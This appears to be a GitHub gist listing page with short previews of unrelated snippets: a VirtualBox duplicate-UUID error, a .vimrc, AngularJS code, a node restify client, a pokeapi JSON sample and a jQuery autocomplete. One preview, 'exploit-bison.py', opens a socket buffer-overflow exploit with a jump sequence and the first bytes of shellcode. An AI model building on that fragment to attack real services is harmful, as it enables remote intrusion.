View gist:49fb0b016d76bd26f41bb749d36e8724
“Failed to open the hard disk E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd. | |
Cannot register the hard disk ‘E:\VirtualBox VMs\Windows 8 \Windows 8 Enterprise2.vhd’ | |
{ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} because a hard disk | |
‘E:\VirtualBox VMs\Windows 8 Enterprise\Windows 8 Enterprise2.vhd’ with UUID {ca2bdc6a-a487-4e57-9fcd-509d0c31d86d} already exists. | |
Result Code: | |
E_INVALIDARG (0x80070057) | |
Component: | |
VirtualBox | |
Interface: | |
IVirtualBox {3b2f08eb-b810-4715-bee0-bb06b9880ad2} |
View exploit-bison.py
#!/usr/bin/python | |
import socket,time | |
#jump memory code | |
jmp = "\x83\xEB\x32"*8 | |
jmp += "\xff\xe3" | |
#exploit code | |
buf = "" | |
buf += "\xbe\xa8\x9a\x2c\x48\xda\xce\xd9\x74\x24\xf4\x5d\x31" |
View .vimrc (using vundle)
set nocompatible | |
syntax on | |
set nowrap | |
set encoding=utf8 | |
"""" START Vundle Configuration | |
" Disable file type for vundle | |
filetype on " required |
View controller a la Papa
angular | |
.module('starter') | |
.controller('ListCarsCtrl', controller) | |
controller.$inject = ['$location']; | |
function controller($location) { | |
/* jshint validthis:true */ | |
var vm = this; | |
vm.cars=[]; |
View server & client node
const restify = require('restify'); | |
const requestify = require('requestify'); | |
const handle = res => { | |
return res.code == '200' ? res.getBody().cep : null; | |
}; | |
const handleReject = res =>{ | |
return null | |
}; |
View helper-factory.js
angular.module('app') | |
.factory('helperFactory', function () { | |
return { | |
keysToLowerCase: function (obj) { | |
var output = {}; | |
for (i in obj) { | |
if (Object.prototype.toString.apply(obj[i]) === '[object Object]') { | |
output[i.toLowerCase()] = this.keysToLowerCase(obj[i]); | |
} else { | |
output[i.toLowerCase()] = obj[i]; |
View flatter obj example
//GET -> http://pokeapi.co/api/v2/pokemon/1/ | |
var json = { | |
"name": "bulbasaur", | |
'id':10, | |
stats: [ | |
{ | |
stat: { | |
url: "http://pokeapi.co/api/v2/stat/6/", | |
name: "speed" | |
}, |
View autocomplete.js
////code.jquery.com/ui/1.11.4/jquery-ui.js | |
$(function() { | |
var projects = [ | |
{ | |
value: "pri", | |
label: "teste" | |
}, | |
{ | |
value: "seg", | |
label: "téste" |